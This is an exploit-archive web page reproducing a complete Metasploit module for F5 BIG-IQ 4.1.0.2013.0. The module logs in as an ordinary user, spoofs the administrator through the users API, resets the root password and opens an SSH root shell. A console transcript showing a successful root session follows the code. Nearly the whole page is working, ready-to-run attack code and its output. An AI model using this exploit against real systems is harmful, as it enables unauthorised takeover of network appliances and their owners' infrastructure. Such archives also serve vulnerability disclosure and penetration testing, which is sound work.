首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
F5 BIG-IQ 4.1.0.2013.0 - Privilege Escalation
来源:bperry.volatile@gmail.com 作者:Perry 发布时间:2014-05-04  
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
  
require 'msf/core'
require 'json'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  
  def initialize(info={})
    super(update_info(info,
      'Name'           => "F5 BIG-IQ v4.1.0.2013.0 authenticated arbitrary user password change",
      'Description'    => %q{
      F5 BIG-IQ v4.1.0.2013.0 is vulnerable to a privilege escalation attack which allows
      an attacker to change the root users password. This module does just this, then SSH's in.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Brandon Perry <bperry.volatile@gmail.com>'
        ],
      'References'     =>
        [
          ['URL', 'http://volatile-minds.blogspot.com/2014/05/f5-big-iq-v41020130-authenticated.html']
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['BIG-IQ 4.1.0.2013.0', {}]
        ],
      'Privileged'     => true,
      'DefaultOptions'  =>
      {
        'SSL' => true,
        'ExitFunction' => "none"
      },
      'Payload'        =>
      {
        'Compat' => {
          'PayloadType'    => 'cmd_interact',
          'ConnectionType' => 'find'
        }
      },
      'DisclosureDate' => "Sep 23 2013",
      'DefaultTarget'  => 0))
  
      register_options(
        [
          Opt::RPORT(443),
          OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']),
          OptString.new('USERNAME', [true, 'The user to authenticate as.', 'username']),
          OptString.new('PASSWORD', [true, 'The password to authenticate with.', 'password']),
          OptString.new('ADMINISTRATOR', [true, 'The administrator to spoof for privilege escalation', 'root']),
          OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
        ], self.class)
  end
  
  def exploit
    post = {
      'username' => datastore['USERNAME'],
      'passwd' => datastore['PASSWORD']
    }
  
    print_status("Authenticating as " + datastore['USERNAME'])
  
    #Simple post to get us a cookie so we can change our password
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => '/ui/actions/logmein.html',
      'vars_post' => post
    })
  
    if res.headers["Location"] != "/"
      fail_with("Authentication failed")
    end
  
    cookie = res.get_cookies
  
    #this gets turned into JSON
    #
    #generation will be set in try_generation if it isn't correct
    #
    #This is also the attempt at privilege escalation, so we preserve the password
    post = {
      "name" => datastore['ADMINISTRATOR'],
      "displayName" => "fdsa",
      "generation" => 1,
      "lastUpdateMicros" => 1395360806678747,
      "kind" => "shared:authz:users:usersworkerstate",
      "selfLink" => "https://localhost/mgmt/shared/authz/users/" + datastore['USERNAME'],
      "password" => datastore['PASSWORD'],
      "password2" => datastore['PASSWORD'],
      "state" => "ACTIVE"
    }
  
    print_status("Escalating privileges to that of " + datastore["ADMINISTRATOR"])
  
    try_generation(post, cookie, '/mgmt/shared/authz/users/' + datastore['USERNAME'])
  
    password = Rex::Text.rand_text_alpha(rand(32)+5)
  
    #this is when we change the password for the root user
    post = {
      "name" => "root",
      "displayName" => "root",
      "generation" => 1,
      "lastUpdateMicros" => 1395359570236413,
      "kind" => "shared:authz:users:usersworkerstate",
      "selfLink" => "https://localhost/mgmt/shared/authz/users/root",
      "password" => password,
      "password2" => password,
      "state" => "ACTIVE"
    }
  
    select(nil,nil,nil,5)
    print_status("Changing root user password to " + password)
  
    try_generation(post, cookie, '/mgmt/shared/authz/users/root')
  
    res = do_login('root', password)
  
    if res
      print_good("Login Successful with 'root:#{password}'")
      handler(res.lsock)
    end
  end
  
  def try_generation(put, cookie, uri)
    done = false
    while !done
      res = send_request_cgi({
        'method' => "PUT",
        'uri' => uri,
        'data' => put.to_json,
        'cookie' => cookie
      })
  
      if res and res.body =~ /Invalid generation/
        put['generation'] = /Need (\d{1,9}), received \d{1,9}/.match(res.body)[1]
      elsif res and res.body =~ /encryptedPassword/
        done = true
      else
        fail_with("Didn't get a response that I expected")
      end
    end
  end
    def do_login(user, pass)
  
      opts = {
        :auth_methods => ['password', 'keyboard-interactive'],
        :msframework  => framework,
        :msfmodule    => self,
        :port         => 22,
        :disable_agent => true,
        :config => true,
        :password => pass,
        :record_auth_info => true,
        :proxies => datastore['Proxies']
      }
  
      opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
  
      begin
        ssh = nil
        ssh = Net::SSH.start(datastore['RHOST'], user, opts)
      rescue Rex::ConnectionError, Rex::AddressInUse
        return nil
      rescue Net::SSH::Disconnect, ::EOFError
        print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
        return nil
      rescue ::Timeout::Error
        print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
        return nil
      rescue Net::SSH::AuthenticationFailed
        print_error "#{rhost}:#{rport} SSH - Failed authentication"
        return nil
      rescue Net::SSH::Exception => e
        print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
        return nil
      end
      if ssh
        conn = Net::SSH::CommandStream.new(ssh, '/bin/sh', true)
        return conn
      end
      return nil
    end
end
  
  
__END__
  
msf exploit(f5_bigiq_passwd_update) > show options
  
Module options (exploit/linux/http/f5_bigiq_passwd_update):
  
Name           Current Setting  Required  Description
----           ---------------  --------  -----------
ADMINISTRATOR  root             yes       The administrator to spoof for privilege escalation
PASSWORD       notpassword      yes       The password to authenticate with.
Proxies                         no        Use a proxy chain
RHOST          192.168.1.8      yes       The target address
RPORT          443              yes       The target port
SSH_TIMEOUT    30               no        Specify the maximum time to negotiate a SSH session
TARGETURI      /                yes       The URI of the vulnerable instance
USERNAME       username         yes       The user to authenticate as.
VHOST                           no        HTTP server virtual host
  
  
Payload options (cmd/unix/interact):
  
Name  Current Setting  Required  Description
  
----  ---------------  --------  -----------
  
Exploit target:
  
Id  Name
--  ----
0   a
  
  
msf exploit(f5_bigiq_passwd_update) > exploit
  
[+] Login Successful with 'root:qBvBY'
[*] Found shell.
[*] Command shell session 3 opened (192.168.1.31:58165 -> 192.168.1.8:22) at 2014-03-20 21:18:09 -0500
  
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t:SystemLow-SystemHigh

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apache Struts ClassLoader Mani
·HP Laser Jet - JavaScript Pers
·AlienVault OSSIM SQL Injection
·K-Lite CODEC 9.x Memory Corrup
·Adobe Flash Player Type Confus
·KM Player 3.8.0.123 Stack Buff
·SEP Manager 12.1.2015.2015 Ove
·Windows NTUserMessageCall Win3
·McAfee ePolicy Orchestrator 4.
·Adobe Flash Player Integer Und
·NTP ntpd monlist Query Reflect
·Linux kernel multiple security
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved